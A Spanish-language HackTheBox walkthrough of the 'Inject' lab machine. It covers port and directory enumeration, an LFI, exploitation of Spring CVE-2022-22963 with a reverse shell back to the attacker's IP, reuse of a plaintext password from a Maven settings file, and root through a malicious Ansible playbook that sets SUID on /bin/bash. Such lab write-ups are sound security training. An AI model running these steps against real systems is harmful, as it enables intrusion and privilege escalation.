Inject es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Inject 10.10.11.204 a /etc/hosts como inject.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oA enumeration/nmap1 10.10.11.204 Nmap scan report for 10.10.11.204 Host is up, received user-set (0.064s latency). Scanned at 2023-06-08 11:29:14 GMT for 14s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 8080/tcp open http-proxy syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Jun 8 11:29:28 2023 -- 1 IP address (1 host up) scanned in 13.34 seconds |
Una vez hecho el escaneo ligero, lanzamos uno más completo sobre los puertos detectados
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,8080 -Pn -oA enumeration/nmap2 10.10.11.204 Nmap scan report for inject.htb (10.10.11.204) Host is up (0.045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA) | 256 d51c81c97b076b1cc1b429254b52219f (ECDSA) |_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jun 8 11:29:51 2023 -- 1 IP address (1 host up) scanned in 10.10 seconds |
Enumeración
Accedemos al portal web en el puerto 8080
No encontramos gran cosa en la página web así que siguiendo con la enumeración, obtenemos el directorio /upload con la enumeración de directorios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ feroxbuster -u http://inject.htb:8080/ -x txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://inject.htb:8080/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 1l 4w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 112l 326w 5371c http://inject.htb:8080/blogs 200 GET 104l 194w 5654c http://inject.htb:8080/register 200 GET 22l 22w 262c http://inject.htb:8080/css/under.css 200 GET 26l 48w 457c http://inject.htb:8080/css/test.css 200 GET 54l 107w 1857c http://inject.htb:8080/upload 200 GET 7l 2006w 163873c http://inject.htb:8080/webjars/bootstrap/css/bootstrap.min.css 200 GET 166l 487w 6657c http://inject.htb:8080/ 500 GET 1l 3w 106c http://inject.htb:8080/error 200 GET 155l 278w 3093c http://inject.htb:8080/css/blog.css 200 GET 7l 2006w 163873c http://inject.htb:8080/webjars/bootstrap/5.1.3/css/bootstrap.min.css 500 GET 1l 27w 712c http://inject.htb:8080/environment |
Y al acceder vemos al siguiente ventana
Hacemos varias pruebas en esta parte y obtenemos un lfi interceptando la petición con burp y enviando un payload concreto
Seguimos con la revisión y vemos que además podemos listar el contenido de los directorios lo que nos hará mucho más fácil los siguientes pasos
Así que seguimos revisando y encontramos el fichero pom.xml de la aplicación, el cual suele contener información importante
Y en el mismo descubrimos el software utilizado, Spring, y la versión 2.6.5, así que vamos a google y encontramos una vulnerabilidad de RCE, CVE-2022-22963, y un exploit para llevar a cabo el ataque.
Así que descargamos y ejecutamos el mismo y obtenemos acceso con el usuario frank
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ python3 exploit.py -u http://inject.htb:8080 [+] Target http://inject.htb:8080 [+] Checking if http://inject.htb:8080 is vulnerable to CVE-2022-22963... [+] http://inject.htb:8080 is vulnerable [/] Attempt to take a reverse shell? [y/n]y listening on [any] 4444 ... [$$] Attacker IP: 10.10.14.10 connect to [10.10.14.10] from (UNKNOWN) [10.10.11.204] 51128 bash: cannot set terminal process group (824): Inappropriate ioctl for device bash: no job control in this shell frank@inject:/$ id id uid=1000(frank) gid=1000(frank) groups=1000(frank) frank@inject:/$ |
Escalado al usuario phil
Revisamos la máquina, pero este usuario frank no puede leer la flag, aunque encontramos no obstante, una carpeta interesante en la home del usuario
1 2 3 4 5 6 7 8 9 10 11 |
frank@inject:~$ ls -la total 3068 drwxr-xr-x 6 frank frank 4096 Jun 8 12:02 . drwxr-xr-x 4 root root 4096 Feb 1 18:38 .. lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null -rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc drwx------ 2 frank frank 4096 Feb 1 18:38 .cache -rw------- 1 frank frank 38 Jun 8 12:00 .lesshst drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local drwx------ 2 frank frank 4096 Feb 1 18:38 .m2 -rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile |
Revisamos la misma y encontramos unas credenciales en el fichero settings.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
frank@inject:~/.m2$ cat settings.xml cat settings.xml <?xml version="1.0" encoding="UTF-8"?> <settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <servers> <server> <id>Inject</id> <username>phil</username> <password>DocPhillovestoInject123</password> <privateKey>${user.home}/.ssh/id_dsa</privateKey> <filePermissions>660</filePermissions> <directoryPermissions>660</directoryPermissions> <configuration></configuration> </server> </servers> </settings> frank@inject:~/.m2$ |
Con las que escalar a phil
1 2 3 4 |
frank@inject:~$ su - phil Password: phil@inject:~$ id uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff) |
Obteniendo la flag de user
Y vamos a coger la primera flag
1 2 3 4 5 6 |
phil@inject:~$ ls -l total 4 -rw-r----- 1 root phil 33 Jun 8 11:27 user.txt phil@inject:~$ cat user.txt 62xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6d phil@inject:~$ |
Escalado de privilegios
Revisamos permisos del usuario pero nada, así que seguimos buscando y nos fijamos en el grupo al que pertenece, staff, así que busquemos ficheros o directorios donde pueda escribir
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
phil@inject:~$ find / -group staff 2>/dev/null|grep -v run|grep -v proc /opt/automation/tasks /root /var/local /usr/local/lib/python3.8 /usr/local/lib/python3.8/dist-packages /usr/local/lib/python3.8/dist-packages/ansible_parallel.py /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt /usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER /usr/local/lib/python3.8/dist-packages/__pycache__ /usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc /usr/local/share/fonts /usr/local/share/fonts/.uuid |
Y encontramos un directorio
1 |
/opt/automation/tasks |
Subimos pspy y revisamos entonces que procesos utilizan este directorio
Y encontramos un proceso que ejecuta los fichero yaml existentes en esa ruta, así que será nuestro punto para escalar privilegios.
Viendo que se ejecuta el proceso de ansible-parallel buscamos en google y generamos nuestro playbook con el siguiente contenido que dará permisos de suid al binario de bash
1 2 3 4 5 |
- hosts: localhost tasks: - name: privesc ansible.builtin.shell: | chmod u+s /bin/bash |
Y lo subimos al directorio
1 2 3 4 5 6 7 |
phil@inject:/opt/automation/tasks$ ll total 16 drwxrwxr-x 2 root staff 4096 Jun 8 12:16 ./ drwxr-xr-x 3 root root 4096 Oct 20 2022 ../ -rw-r--r-- 1 root root 150 Jun 8 12:16 playbook_1.yml -rw-rw-r-- 1 phil phil 102 Jun 8 12:16 privesc.yml phil@inject:/opt/automation/tasks$ |
Ahora nos queda esperar a la siguiente ejecución y verificar los permisos del binario de bash
1 2 |
phil@inject:/opt/automation/tasks$ ll /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash* |
Obteniendo la flag de root
Con los permisos de suid en el binario de bash nos queda escalar a root y coger nuestra flag
1 2 3 4 5 6 |
phil@inject:/opt/automation/tasks$ bash -p bash-5.0# id uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff) bash-5.0# cat /root/root.txt 18xxxxxxxxxxxxxxxxxxxxxxxxxxxxab bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace